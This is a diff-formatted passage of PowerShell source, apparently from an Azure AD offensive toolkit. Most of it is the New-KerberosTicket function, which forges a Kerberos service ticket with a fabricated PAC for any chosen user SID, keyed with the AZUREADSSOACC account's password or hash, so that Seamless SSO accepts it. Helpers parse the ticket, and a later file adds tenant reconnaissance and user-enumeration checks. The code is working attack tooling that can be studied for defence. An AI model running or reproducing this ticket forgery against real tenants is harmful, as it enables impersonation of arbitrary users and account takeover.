||||
}
|
||||
}
|
||||
|
||||
|
||||
# Aug 26th 2019
|
||||
# Generates a kerberos token to be used with Azure AD Desktop SSO (aka Seamless SSO)
|
||||
Function New-KerberosTicket
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Generates a kerberos token to be used with Azure AD Desktop SSO
|
||||
|
||||
.DESCRIPTION
|
||||
Generates a kerberos token to be used with Azure AD Desktop SSO, also known as Seamless SSO.
|
||||
Azure AD does only care about user's sid, so no other information needs to be given.
|
||||
|
||||
.Parameter Sid
|
||||
User's sid as a byte array
|
||||
|
||||
.Parameter ADUserPrincipalName
|
||||
User's principal name. Used to find user from Active Directory to get the SID
|
||||
|
||||
.Parameter AADUserPrincipalName
|
||||
User's principal name. Used to find user from Azure Active Directory to get the SID
|
||||
|
||||
.Parameter AccessToken
|
||||
Access Token of the user accessing Azure Active Directory to find the given user to get the SID
|
||||
|
||||
.Parameter Password
|
||||
Password of the AZUREADSSOACC computer account
|
||||
|
||||
.Parameter Hash
|
||||
MD4 hash of the AZUREADSSOACC computer account
|
||||
|
||||
.Example
|
||||
PS C:\>Get-AADIntKerberosTicket -Password "MyPassword" -Sid $sid
|
||||
|
||||
YIIHIAYGKwYBBQUCoIIHFDCCBxC..(truncated)..qJ9OYopBjdCAzi8gY8dIFy8+g==
|
||||
|
||||
.Example
|
||||
PS C:\>Get-AADIntKerberosTicket -Hash @(0,4,234) -Sid $sid
|
||||
|
||||
YIIHIAYGKwYBBQUCoIIHFDCCBxC..(truncated)..qJ9OYopBjdCAzi8gY8dIFy8+g==
|
||||
|
||||
.Example
|
||||
PS C:\>Get-AADIntKerberosTicket -Password "MyPassword" -SidString "S-1-5-21-854568531-3289094026-2628502219-1111"
|
||||
|
||||
YIIHIAYGKwYBBQUCoIIHFDCCBxC..(truncated)..qJ9OYopBjdCAzi8gY8dIFy8+g==
|
||||
|
||||
.Example
|
||||
PS C:\>Get-AADIntKerberosTicket -Password "MyPassword" -ADUserPricipalName "user@company.com"
|
||||
WARNING: SID not given, trying to find user from the Active Directory
|
||||
|
||||
YIIHIAYGKwYBBQUCoIIHFDCCBxC..(truncated)..qJ9OYopBjdCAzi8gY8dIFy8+g==
|
||||
|
||||
PS C:\>Get-AADIntKerberosTicket -Password "MyPassword" -ADUserPricipalName "user@company.com"
|
||||
WARNING: SID not given, trying to find user from the Azure Active Directory.
|
||||
WARNING: This may take some time, so it would be better to save the AAD objects to
|
||||
WARNING: a variable using Get-AADIntSyncObjects and parse SID manually.
|
||||
|
||||
YIIHIAYGKwYBBQUCoIIHFDCCBxC..(truncated)..qJ9OYopBjdCAzi8gY8dIFy8+g==
|
||||
|
||||
#>
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(ParameterSetName='Sid',Mandatory=$True)]
|
||||
[Byte[]]$Sid,
|
||||
[Parameter(ParameterSetName='SidString',Mandatory=$True)]
|
||||
[String]$SidString,
|
||||
[Parameter(ParameterSetName='ADupn',Mandatory=$True)]
|
||||
[String]$ADUserPrincipalName,
|
||||
[Parameter(ParameterSetName='AADupn',Mandatory=$True)]
|
||||
[String]$AADUserPrincipalName,
|
||||
[Parameter(ParameterSetName='AADupn',Mandatory=$True)]
|
||||
[String]$AccessToken,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$Password,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$Hash,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[byte[]]$SessionKey=(New-Guid).ToByteArray(),
|
||||
|
||||
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$UserName= "UserName",
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$UserDisplayName= "DisplayName",
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$UserPrincipalName= "UserName@company.com",
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$ServerName= "DC1.company.com",
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$DomainName= "COMPANY",
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$Realm= "COMPANY.COM",
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$ServiceTarget = "HTTP/autologon.microsoftazuread-sso.com",
|
||||
|
||||
[Parameter(Mandatory=$False)]
|
||||
[ValidateSet('RC4','AES')]
|
||||
[String]$Crypto="RC4",
|
||||
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$Salt,
|
||||
|
||||
[Parameter(Mandatory=$False)]
|
||||
[Int]$SequenceNumber=([System.Random]::new()).Next()
|
||||
|
||||
)
|
||||
Process
|
||||
{
|
||||
# Hash or password must be given!
|
||||
if([string]::IsNullOrEmpty($Password) -and $Hash -eq $null)
|
||||
{
|
||||
Throw "Password or hash must be given!"
|
||||
}
|
||||
|
||||
if(![string]::IsNullOrEmpty($Salt))
|
||||
{
|
||||
$AESSalt = [text.encoding]::UTF8.getBytes($Salt)
|
||||
}
|
||||
|
||||
if($Crypto -eq "AES" -and $AESSalt -eq $null)
|
||||
{
|
||||
Throw "Salt needed for AES encrypted Kerberos ticket!"
|
||||
}
|
||||
|
||||
# Got ADUserPrincipalName so we need to try to find SID from AD
|
||||
if(![String]::IsNullOrEmpty($ADUserPrincipalName))
|
||||
{
|
||||
Write-Verbose "SID not given, trying to find user from the Active Directory"
|
||||
try
|
||||
{
|
||||
$User=Get-Sids -UserPrincipalName $ADUserPrincipalName
|
||||
if($user -eq $null)
|
||||
{
|
||||
return
|
||||
}
|
||||
$sidObject = [System.Security.Principal.SecurityIdentifier]$user.Sid
|
||||
$Sid = New-Object Byte[] $sidObject.BinaryLength
|
||||
$sidObject.GetBinaryForm($Sid,0)
|
||||
Write-Verbose "$([byte[]]$Sid | Format-Hex)"
|
||||
}
|
||||
catch
|
||||
{
|
||||
Write-Error "Couldn't find the user: $($_.Exception)"
|
||||
return
|
||||
}
|
||||
}
|
||||
# Got AADUserPrincipalName so we need to try to find SID from Azure AD
|
||||
elseif(![String]::IsNullOrEmpty($AADUserPrincipalName))
|
||||
{
|
||||
Write-Verbose "SID not given, trying to find user from the Azure Active Directory."
|
||||
try
|
||||
{
|
||||
$User=Get-Sids -AccessToken $AccessToken -UserPrincipalName $AADUserPrincipalName
|
||||
if($user -eq $null)
|
||||
{
|
||||
return
|
||||
}
|
||||
$sidObject = [System.Security.Principal.SecurityIdentifier]$user.Sid
|
||||
$Sid = New-Object Byte[] $sidObject.BinaryLength
|
||||
$sidObject.GetBinaryForm($Sid,0)
|
||||
Write-Verbose "$([byte[]]$Sid | Format-Hex)"
|
||||
|
||||
}
|
||||
catch
|
||||
{
|
||||
Write-Error "Couldn't find the user: $($_.Exception)"
|
||||
return
|
||||
}
|
||||
}
|
||||
# Got SidString so try to convert it
|
||||
elseif(![String]::IsNullOrEmpty($SidString))
|
||||
{
|
||||
try
|
||||
{
|
||||
Write-Verbose "Got SidString: $SidString"
|
||||
$sidObject = [System.Security.Principal.SecurityIdentifier]$SidString
|
||||
$Sid = New-Object Byte[] $sidObject.BinaryLength
|
||||
$sidObject.GetBinaryForm($Sid,0)
|
||||
Write-Verbose (Convert-ByteArrayToHex -Bytes $Sid)
|
||||
}
|
||||
catch
|
||||
{
|
||||
Write-Error "Couldn't convert `"$SidString`" to SID: $($_.Exception)"
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
# KRB_AP_REQ
|
||||
# Set the times
|
||||
|
||||
$authTime = Get-Date -Millisecond 0
|
||||
$authTime.AddSeconds(-43) | Out-Null # Authentication time should be (a little) in the past
|
||||
$startTime = $authTime #.AddSeconds(7)
|
||||
$endTime = $authTime.AddHours(10)
|
||||
$renewTime = $authTime.AddDays(7)
|
||||
$cTime = Get-Date
|
||||
|
||||
|
||||
$machineId = Get-RandomBytes -Bytes 32
|
||||
$kerbLocal1 = Get-RandomBytes -Bytes 16
|
||||
$kerbLocal2 = Get-RandomBytes -Bytes 16
|
||||
|
||||
# The ticket
|
||||
$ticket=Add-DERTag -Tag 0x63 -Data @(
|
||||
Add-DERSequence -Data @(
|
||||
Add-DERTag -Tag 0xA0 -Data @(Add-DERTag -Tag 0x03 -Data @(0x00, 0x40, 0xA1, 0x00, 0x00)) #Flags 100 0000 1010 0001 old
|
||||
# Encryption key 100 0000 0010 0001 new
|
||||
Add-DERTag -Tag 0xA1 -Data @(
|
||||
Add-DERSequence -Data @(
|
||||
if($Crypto -eq "RC4")
|
||||
{
|
||||
Add-DERTag -Tag 0xA0 -Data @(Add-DERInteger -Data @(0x17)) # rc4-hmac
|
||||
}
|
||||
elseif($Crypto -eq "AES")
|
||||
{
|
||||
Add-DERTag -Tag 0xA0 -Data @(Add-DERInteger -Data @(0x12)) # aes256-cts-hmac-sha1-96
|
||||
}
|
||||
Add-DERTag -Tag 0xA1 -Data @(
|
||||
Add-DERTag -Tag 0x04 -Data $SessionKey # Session key
|
||||
)
|
||||
)
|
||||
)
|
||||
# Realm
|
||||
Add-DERTag -Tag 0xA2 -Data @(Add-DERUtf8String($Realm))
|
||||
Add-DERTag -Tag 0xA3 -Data @( # CName
|
||||
Add-DERSequence -Data @(
|
||||
Add-DERTag -Tag 0xA0 -Data @(Add-DERInteger -Data @(0x01)) # NT_PRINCIPAL
|
||||
Add-DERTag -Tag 0xA1 -Data @(
|
||||
Add-DERSequence -Data @(Add-DERUtf8String($UserName))
|
||||
)
|
||||
)
|
||||
)
|
||||
Add-DERTag -Tag 0xA4 -Data @(
|
||||
Add-DERSequence -Data @(
|
||||
Add-DERTag -Tag 0xA0 -data @(Add-DERInteger -Data @(0x01))
|
||||
Add-DERTag -Tag 0xA1 -Data @(0x04,0x00) # Empty octect string: CAddr
|
||||
)
|
||||
)
|
||||
|
||||
Add-DERTag -Tag 0xA5 -Data @(Add-DERDate -Date $authTime) # Generalized time: AuthTime
|
||||
Add-DERTag -Tag 0xA6 -Data @(Add-DERDate -Date $startTime) # Generalized time: StartTime
|
||||
Add-DERTag -Tag 0xA7 -Data @(Add-DERDate -Date $endTime) # Generalized time: EndTime
|
||||
Add-DERTag -Tag 0xA8 -Data @(Add-DERDate -Date $renewTime) # Generalized time: RenewTill
|
||||
Add-DERTag -Tag 0xAA -Data @(
|
||||
Add-DERSequence -Data @(
|
||||
Add-DERSequence -Data @(
|
||||
|
||||
Add-DERTag -Tag 0xA0 -Data @(Add-DERInteger -Data @(0x01)) # ADIfRelevant
|
||||
Add-DERTag -Tag 0xA1 -Data @(
|
||||
Add-DERTag -Tag 0x04 -Data @(
|
||||
Add-DERSequence -Data @(
|
||||
Add-DERSequence -Data @(
|
||||
Add-DERTag -Tag 0xA0 -Data @(Add-DERInteger -Data @(0x00, 0x80)) # PAC type = AdWin2kPac
|
||||
Add-DERTag -Tag 0xA1 -Data @(
|
||||
|
||||
Add-DERTag -Tag 0x04 -Data @(
|
||||
# Generate PAC
|
||||
[byte[]](New-Pac -UserName $UserName -UserDisplayName $UserDisplayName -UserPrincipalName $UserPrincipalName -ServerName $ServerName -DomainName $DomainName -DomainDNSName $Realm -Sid $Sid -Password $Password -Hash $Hash -AuthTime $authTime -SequenceNumber $SequenceNumber))
|
||||
)
|
||||
)
|
||||
)
|
||||
|
||||
)
|
||||
)
|
||||
)
|
||||
Add-DERSequence -Data @(
|
||||
Add-DERTag -Tag 0xA0 -Data @(Add-DERInteger -Data @(0x01))
|
||||
Add-DERTag -Tag 0xA1 -Data @(
|
||||
Add-DERTag -Tag 0x04 -Data @(
|
||||
|
||||
Add-DERSequence -Data @(
|
||||
Add-DERSequence -Data @(
|
||||
Add-DERTag -Tag 0xA0 -Data @(Add-DERInteger -Data @(0x00, 0x8D)) # KERB_AUTH_DATA_TOKEN_RESTRICTIONS
|
||||
Add-DERTag -Tag 0xA1 -Data @(
|
||||
Add-DERTag -Tag 0x04 -Data @( # Octet string
|
||||
Add-DERSequence -Data @(
|
||||
Add-DERSequence -Data @(
|
||||
Add-DERTag -Tag 0xA0 -Data @(Add-DERInteger -Data @(0x00)) # Restrictiontype, must be 0x00
|
||||
Add-DERTag -Tag 0xA1 -Data @(
|
||||
Add-DERTag -Tag 0x04 -Data @(
|
||||
# Flags
|
||||
@(0x00, 0x00, 0x00, 0x00) # Full token
|
||||
#@(0x01, 0x00, 0x00, 0x00) # UAC restricted token
|
||||
# Integritylevel
|
||||
# @(0x00, 0x00, 0x00, 0x00) # Untrusted
|
||||
@(0x00, 0x10, 0x00, 0x00) # Low
|
||||
# @(0x00, 0x20, 0x00, 0x00) # Medium
|
||||
# @(0x00, 0x30, 0x00, 0x00) # High
|
||||
# @(0x00, 0x40, 0x00, 0x00) # System
|
||||
# @(0x00, 0x50, 0x00, 0x00) # Protected processes
|
||||
# Machine Id
|
||||
$machineId
|
||||
)
|
||||
)
|
||||
)
|
||||
)
|
||||
)
|
||||
)
|
||||
|
||||
)
|
||||
|
||||
Add-DERSequence -Data @(
|
||||
Add-DERTag -Tag 0xA0 -Data @(Add-DERInteger -Data @(0x00, 0x8E))
|
||||
# KerbLocal
|
||||
Add-DERTag -Tag 0xA1 -Data @(Add-DERTag -Tag 0x04 -Data $kerbLocal1)
|
||||
)
|
||||
|
||||
)
|
||||
|
||||
)
|
||||
)
|
||||
)
|
||||
)
|
||||
)
|
||||
)
|
||||
)
|
||||
$encryptionKey = New-KerberosKey -Password $Password -Hash $Hash -Crypto $Crypto
|
||||
$encryptedTicket = Encrypt-Kerberos -Data $ticket -Type Ticket -Salt $AESSalt -Crypto $Crypto -Key $encryptionKey
|
||||
|
||||
$authenticator=Add-DERTag -Tag 0x62 -Data @(
|
||||
Add-DERSequence -Data @(
|
||||
Add-DERTag -Tag 0xA0 -Data @(Add-DERInteger -Data @(0x05))
|
||||
Add-DERTag -Tag 0xA1 -Data @(Add-DERUtf8String -Text $Realm -Tag 0x1B)
|
||||
Add-DERTag -Tag 0xA2 -Data @(
|
||||
Add-DERSequence -Data @(
|
||||
Add-DERTag -Tag 0xA0 -Data @(Add-DERInteger -Data @(0x01))
|
||||
Add-DERTag -Tag 0xa1 -Data @(
|
||||
Add-DERSequence -Data @(
|
||||
Add-DERUtf8String -Text $UserName -Tag 0x1B
|
||||
)
|
||||
)
|
||||
)
|
||||
)
|
||||
Add-DERTag -Tag 0xA3 -Data @(
|
||||
# Authenticator checksum
|
||||
# https://tools.ietf.org/html/rfc4121#page-6
|
||||
Add-DERSequence -Data @(
|
||||
Add-DERTag -Tag 0xA0 -Data @(Add-DERInteger -Data @(0x00, 0x80, 0x03)) # Checksum type 32771 = KRBv5
|
||||
# Checksum https://tools.ietf.org/html/rfc4121#section-4.1.1
|
||||
Add-DERTag -Tag 0xA1 -Data @(
|
||||
Add-DERTag -Tag 0x04 -Data @(
|
||||
# Length = 0x10 = 16
|
||||
@(0x10, 0x00, 0x00, 0x00)
|
||||
# Binding information
|
||||
@(0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00)
|
||||
|
||||
# Flags
|
||||
# https://tools.ietf.org/html/rfc2744
|
||||
# GSS_C_DELEG_FLAG 0x01 1
|
||||
# GSS_C_MUTUAL_FLAG 0x02 2
|
||||
# GSS_C_REPLAY_FLAG 0x04 4
|
||||
# GSS_C_SEQUENCE_FLAG 0x08 8
|
||||
# GSS_C_CONF_FLAG 0x10 16
|
||||
# GSS_C_INTEG_FLAG 0x20 32
|
||||
# GSS_C_ANON_FLAG 0x40 64
|
||||
# GSS_C_PROT_READY_FLAG 0x80 128
|
||||
|
||||
# GSS_C_TRANS_FLAG 0x100 256
|
||||
|
||||
# GSS_C_DCE_STYLE 0x1000 4096
|
||||
# GSS_C_IDENTIFY_FLAG 0x2000 8192
|
||||
# GSS_C_EXTENDED_ERROR_FLAG 0x4000 16384
|
||||
# GSS_C_DELEG_POLICY_FLAG 0x8000 32768
|
||||
|
||||
@(0x3E, 0x20, 0x00, 0x00)
|
||||
|
||||
|
||||
)
|
||||
)
|
||||
)
|
||||
)
|
||||
Add-DERTag -Tag 0xA4 -Data @(Add-DERInteger -Data (0x01)) # Cusec = milliseconds part of authTime -- for replay detection, so can be anything
|
||||
Add-DERTag -Tag 0xA5 -Data @(Add-DERDate -Date $cTime) # CTime
|
||||
|
||||
|
||||
Add-DERTag -Tag 0xA6 -Data @(
|
||||
Add-DERSequence -Data @(
|
||||
Add-DERTag -Tag 0xA0 -Data @(Add-DERInteger -Data @(0x17)) # Subkey - not used here to anything
|
||||
Add-DERTag -Tag 0xA1 -Data @(Add-DERTag -Tag 0x04 -Data (New-Guid).ToByteArray())
|
||||
)
|
||||
)
|
||||
Add-DERTag -Tag 0xA7 -Data @(Add-DERInteger -Data @([System.BitConverter]::GetBytes($SequenceNumber)) ) # Sequence number
|
||||
|
||||
Add-DERTag -Tag 0xA8 -Data @(
|
||||
Add-DERSequence -Data @(
|
||||
Add-DERSequence -Data @(
|
||||
Add-DERTag -Tag 0xA0 -Data @(Add-DERInteger -Data @(0x01))
|
||||
Add-DERTag -Tag 0xA1 -Data @(
|
||||
Add-DERTag -Tag 0x04 -Data @(
|
||||
Add-DERSequence -Data @(
|
||||
Add-DERSequence -Data @(
|
||||
Add-DERTag -Tag 0xA0 -Data @(Add-DERInteger -Data @(0x00, 0x81))
|
||||
|
||||
# AdETypeNegotiation
|
||||
Add-DERTag -Tag 0xA1 -Data @(Add-DERTag -Tag 0x04 -Data @(
|
||||
Add-DERSequence -Data @(
|
||||
#Add-DERInteger -Data @(0x12) # AES256_CTS_HMAC_SHA1_96
|
||||
#Add-DERInteger -Data @(0x11) # AES128_CTS_HMAC_SHA1_96
|
||||
Add-DERInteger -Data @(0x17) # RC4_HMAC_NT
|
||||
)
|
||||
)
|
||||
)
|
||||
)
|
||||
Add-DERSequence -Data @(
|
||||
Add-DERTag -Tag 0xA0 -Data @(Add-DERInteger -Data @(0x00, 0x8D))
|
||||
Add-DERTag -Tag 0xA1 -Data @(
|
||||
Add-DERTag -Tag 0x04 -Data @(
|
||||
|
||||
Add-DERSequence -Data @(
|
||||
Add-DERSequence -Data @(
|
||||
Add-DERTag -Tag 0xA0 -Data @(Add-DERInteger -Data @(0x00)) #Restrictiontype = 0
|
||||
# Restrictions
|
||||
Add-DERTag -Tag 0xA1 -Data @(Add-DERTag -Tag 0x04 -Data @(
|
||||
# Flags = Full
|
||||
@(0x00, 0x00, 0x00, 0x00)
|
||||
# Integritylevel = Low
|
||||
@(0x00, 0x10, 0x00, 0x00)
|
||||
# Machine Id
|
||||
$machineId
|
||||
)
|
||||
)
|
||||
)
|
||||
|
||||
)
|
||||
)
|
||||
)
|
||||
)
|
||||
|
||||
Add-DERSequence -Data @(
|
||||
# KerbLocal
|
||||
Add-DERTag -Tag 0xA0 -Data @(Add-DERInteger -Data @(0x00, 0x8E))
|
||||
Add-DERTag -Tag 0xA1 -Data @(Add-DERTag -Tag 0x04 -Data $kerbLocal2)
|
||||
)
|
||||
Add-DERSequence -Data @(
|
||||
Add-DERTag -Tag 0xA0 -Data @(Add-DERInteger -Data @(0x00, 0x8F))
|
||||
|
||||
Add-DERTag -Tag 0xA1 -Data @(
|
||||
Add-DERTag -Tag 0x04 -Data @(
|
||||
# KerbApOptions = ChannelBindingSupported
|
||||
@(0x00, 0x40, 0x00, 0x00)
|
||||
)
|
||||
)
|
||||
)
|
||||
Add-DERSequence -Data @(
|
||||
Add-DERTag -Tag 0xA0 -Data @(Add-DERInteger -Data @(0x00, 0x90))
|
||||
|
||||
Add-DERTag -Tag 0xA1 -Data @(
|
||||
# KerbServiceTarget
|
||||
Add-DERUnicodeString -Text "$ServiceTarget@$Realm"
|
||||
)
|
||||
)
|
||||
)
|
||||
)
|
||||
)
|
||||
)
|
||||
)
|
||||
)
|
||||
)
|
||||
)
|
||||
$encryptedAuthenticator = Encrypt-Kerberos -Data $authenticator -Key $SessionKey -Type Authenticator -Salt $AESSalt -Crypto $Crypto
|
||||
|
||||
# NegTokenInit
|
||||
$kerberosTicket=Add-DERTag -Tag 0x60 -Data @(
|
||||
Add-DERObjectIdentifier -ObjectIdentifier "1.3.6.1.5.5.2" # SPNEGO
|
||||
Add-DERTag -Tag 0xA0 -Data @(
|
||||
|
||||
Add-DERSequence -Data @(
|
||||
# MechTypeList
|
||||
Add-DERTag -Tag 0xA0 -Data @( # MechTypeList
|
||||
Add-DERSequence -Data @(
|
||||
Add-DERObjectIdentifier -ObjectIdentifier "1.2.840.48018.1.2.2" # Microsoft Kerberos OID
|
||||
Add-DERObjectIdentifier -ObjectIdentifier "1.2.840.113554.1.2.2" # Kerberos V5 OID
|
||||
Add-DERObjectIdentifier -ObjectIdentifier "1.3.6.1.4.1.311.2.2.30" # Negoex
|
||||
Add-DERObjectIdentifier -ObjectIdentifier "1.3.6.1.4.1.311.2.2.10" # NTLM
|
||||
)
|
||||
)
|
||||
Add-DERTag -Tag 0xA2 -Data @( # MechToken
|
||||
|
||||
|
||||
Add-DERTag -Tag 0x04 -Data @(
|
||||
Add-DERTag -Tag 0x60 -Data @(# Application constructed object
|
||||
|
||||
Add-DERObjectIdentifier -ObjectIdentifier "1.2.840.113554.1.2.2" # Kerberos V5 OID
|
||||
Add-DERBoolean -Value $False
|
||||
Add-DERTag -Tag 0x6E -Data @(
|
||||
Add-DERSequence -Data @(
|
||||
Add-DERTag -Tag 0xA0 -Data @(Add-DERInteger -Data @(0x05))
|
||||
Add-DERTag -Tag 0xA1 -Data @(Add-DERInteger -Data @(0x0e))
|
||||
Add-DERTag -Tag 0xA2 -Data @(Add-DERTag -Tag 0x03 -Data @(0x00, 0x20, 0x00, 0x00, 0x00)) # KERB_VALINFO
|
||||
Add-DERTag -Tag 0xA3 -Data @(
|
||||
# AUTHENTICATOR
|
||||
Add-DERTag -Tag 0x61 -Data @(
|
||||
Add-DERSequence -Data @(
|
||||
Add-DERTag -Tag 0xA0 -Data @(Add-DERInteger -Data @(0x05)) # AuthenticatorVersionNumber = 5
|
||||
Add-DERTag -Tag 0xA1 -Data @(Add-DERUtf8String -Text $Realm)
|
||||
Add-DERTag -Tag 0xA2 -Data @(
|
||||
Add-DERSequence -Data @(
|
||||
Add-DERTag -Tag 0xA0 -Data @(Add-DERInteger -Data @(0x02))
|
||||
Add-DERTag -Tag 0xA1 -Data @(
|
||||
Add-DERSequence -Data @(
|
||||
Add-DERUtf8String -Text $ServiceTarget.Split("/")[0]
|
||||
Add-DERUtf8String -Text $ServiceTarget.Split("/")[1]
|
||||
)
|
||||
)
|
||||
)
|
||||
)
|
||||
Add-DERTag -Tag 0xA3 -Data @(
|
||||
Add-DERSequence -Data @(
|
||||
if($Crypto -eq "RC4")
|
||||
{
|
||||
Add-DERTag -Tag 0xA0 -Data @(Add-DERInteger -Data @(0x17)) # rc4-hmac
|
||||
}
|
||||
elseif($Crypto -eq "AES")
|
||||
{
|
||||
Add-DERTag -Tag 0xA0 -Data @(Add-DERInteger -Data @(0x12)) # aes256-cts-hmac-sha1-96
|
||||
}
|
||||
Add-DERTag -Tag 0xA1 -Data @(Add-DERInteger -Data @(0x05))
|
||||
Add-DERTag -Tag 0xA2 -Data @(Add-DERTag -Tag 0x04 $encryptedTicket)
|
||||
|
||||
)
|
||||
)
|
||||
|
||||
)
|
||||
)
|
||||
|
||||
|
||||
|
||||
)
|
||||
|
||||
Add-DERTag -Tag 0xA4 -Data @(
|
||||
Add-DERSequence -Data @(
|
||||
if($Crypto -eq "RC4")
|
||||
{
|
||||
Add-DERTag -Tag 0xA0 -Data @(Add-DERInteger -Data @(0x17)) # rc4-hmac
|
||||
}
|
||||
elseif($Crypto -eq "AES")
|
||||
{
|
||||
Add-DERTag -Tag 0xA0 -Data @(Add-DERInteger -Data @(0x12)) # aes256-cts-hmac-sha1-96
|
||||
}
|
||||
Add-DERTag -Tag 0xA2 -Data @(Add-DERTag -Tag 0x04 $encryptedAuthenticator)
|
||||
|
||||
|
||||
)
|
||||
)
|
||||
)
|
||||
)
|
||||
|
||||
)
|
||||
)
|
||||
)
|
||||
)
|
||||
)
|
||||
)
|
||||
|
||||
# Return
|
||||
$b64Ticket=[Convert]::ToBase64String([byte[]]$kerberosTicket)
|
||||
return $b64Ticket
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
# Extracts PAC from the given Kerberos token
|
||||
# Mar 26th 2021
|
||||
function Get-PAC
|
||||
{
|
||||
Param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
[byte[]]$Token
|
||||
)
|
||||
Process
|
||||
{
|
||||
$parsedToken = Parse-Asn1 -Data $Token
|
||||
|
||||
return $parsedToken.Data[1].Data.Data[1].Data.Data.Data[2].Data.Data[3].Data.Data.Data[3].Data.Data[2].Data.Data
|
||||
}
|
||||
}
|
||||
|
||||
# Extracts Authenticator from the given Kerberos token
|
||||
# Mar 26th 2021
|
||||
function Get-Authenticator
|
||||
{
|
||||
Param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
[byte[]]$Token
|
||||
)
|
||||
Process
|
||||
{
|
||||
$parsedToken = Parse-Asn1 -Data $Token
|
||||
|
||||
return $parsedToken.Data[1].Data.Data[1].Data.Data.Data[2].Data.Data[4].Data.Data[1].Data.Data
|
||||
}
|
||||
}
|
||||
|
||||
# Parses PAC
|
||||
# Mar 27th 2021
|
||||
function Parse-PAC
|
||||
{
|
||||
Param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
[byte[]]$PAC
|
||||
)
|
||||
Process
|
||||
{
|
||||
# PAC doesn't have "root" element, so let's add one
|
||||
$newData = Add-DERSequence -Data $PAC
|
||||
return Parse-Asn1 -Data $newData
|
||||
}
|
||||
}
|
||||
|
||||
# Parses Authenticator
|
||||
# Mar 27th 2021
|
||||
function Parse-Authenticator
|
||||
{
|
||||
Param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
[byte[]]$Authenticator
|
||||
)
|
||||
Process
|
||||
{
|
||||
# Authenticator doesn't have "root" element, so let's add one
|
||||
$newData = Add-DERSequence -Data $Authenticator
|
||||
return Parse-Asn1 -Data $newData
|
||||
}
|
||||
}
|
||||
|
||||
# Gets the sessionkey from PAC
|
||||
# Mar 26th 2021
|
||||
function Get-SessionKeyFromPAC
|
||||
{
|
||||
Param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
[byte[]]$PAC
|
||||
)
|
||||
Process
|
||||
{
|
||||
$parsedPAC = Parse-PAC -PAC $PAC
|
||||
|
||||
return $parsedPAC.Data.Data.Data[1].Data.Data[1].Data.Data
|
||||
}
|
||||
}
|
||||
+1252
File diff suppressed because it is too large
Load Diff
+1383
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,252 @@
|
||||
# Checks whether the domain has MX records pointing to MS cloud
|
||||
# Jun 16th 2020
|
||||
# Aug 30th 2022: Fixed by maxgrim
|
||||
function HasCloudMX
|
||||
{
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$Domain
|
||||
)
|
||||
Process
|
||||
{
|
||||
$results=Resolve-DnsName -Name $Domain -Type MX -DnsOnly -NoHostsFile -NoIdn -ErrorAction SilentlyContinue | select nameexchange | select -ExpandProperty nameexchange
|
||||
$filteredResults=$results -like "*.mail.protection.outlook.com"
|
||||
|
||||
return ($filteredResults -eq $true) -and ($filteredResults.Count -gt 0)
|
||||
}
|
||||
}
|
||||
|
||||
# Checks whether the domain has SPF records allowing sending from cloud
|
||||
# Jun 16th 2020
|
||||
function HasCloudSPF
|
||||
{
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$Domain
|
||||
)
|
||||
Process
|
||||
{
|
||||
$results=Resolve-DnsName -Name $Domain -Type txt -DnsOnly -NoHostsFile -NoIdn -ErrorAction SilentlyContinue | select strings | select -ExpandProperty strings
|
||||
|
||||
return ($results -like "*include:spf.protection.outlook.com*").Count -gt 0
|
||||
}
|
||||
}
|
||||
|
||||
# Checks whether the domain has SPF records allowing sending from cloud
|
||||
# Sep 23rd 2020
|
||||
function HasDMARC
|
||||
{
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$Domain
|
||||
)
|
||||
Process
|
||||
{
|
||||
try
|
||||
{
|
||||
$results=Resolve-DnsName -Name "_dmarc.$Domain" -Type txt -DnsOnly -NoHostsFile -NoIdn -ErrorAction SilentlyContinue | select strings | select -ExpandProperty strings
|
||||
}catch{}
|
||||
|
||||
return ($results -like "v=DMARC1*").Count -gt 0
|
||||
}
|
||||
}
|
||||
|
||||
# Checks whether the domain has DesktopSSO enabled
|
||||
# Jun 16th 2020
|
||||
function HasDesktopSSO
|
||||
{
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$Domain
|
||||
)
|
||||
Process
|
||||
{
|
||||
(Get-CredentialType -UserName "nn@$domain").EstsProperties.DesktopSsoEnabled -eq "True"
|
||||
}
|
||||
}
|
||||
|
||||
# Checks whether the domain has CBA enabled
|
||||
# Jun 17th 2022
|
||||
function HasCBA
|
||||
{
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$UserName
|
||||
)
|
||||
Process
|
||||
{
|
||||
(Get-CredentialType -UserName $UserName).Credentials.HasCertAuth -eq "True"
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
|
||||
# Checks whether the user exists in Azure AD or not
|
||||
# Jun 16th 2020
|
||||
function DoesUserExists
|
||||
{
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$User,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[ValidateSet("Normal","Login","Autologon")]
|
||||
[String]$Method="Normal"
|
||||
